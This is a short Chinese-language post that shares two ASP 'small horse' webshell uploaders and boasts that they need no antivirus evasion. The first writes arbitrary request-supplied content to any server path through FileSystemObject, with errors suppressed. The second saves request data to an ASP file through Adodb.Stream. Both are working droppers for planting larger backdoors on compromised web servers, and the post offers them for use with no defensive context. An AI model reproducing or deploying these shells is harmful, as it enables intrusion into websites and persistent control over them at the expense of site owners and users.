夹烟常用的二只ASP小马,小巧灵便且无需免杀,实为居家旅行、杀人灭口之必备良药。
1、小马壹代码如下:
<%on error resume next%>
<%o="scripting.filesystemobject"%>
<%set f=server.createobject(o)%>
<%p=request("p")%>
<%if p<>"" then%>
<%w=request("d")%>
<%set d=f.createtextfile(p,true)%>
<%d.write w%>
<%if err=0 then%>
<%="保存成功"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%d.close%>
<%set d=nothing%>
<%set f=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=p>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=d cols=70 rows=30 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=保存>"%>
<%="</form>"%>
2、小马贰代码如下:
<%set s=server.createObject("Adodb.Stream")%>
<%s.Type=2%>
<%s.Open%>
<%s.CharSet="gb2312"%>
<%s.writetext request("d")%>
<%s.SaveToFile server.mappath("ysjy.asp"),2%>
<%s.Close%>
<%set s=nothing%>
<form>
<textarea name=d cols=80 rows=10 width=32></textarea>
<input type=submit value=保存>
</form>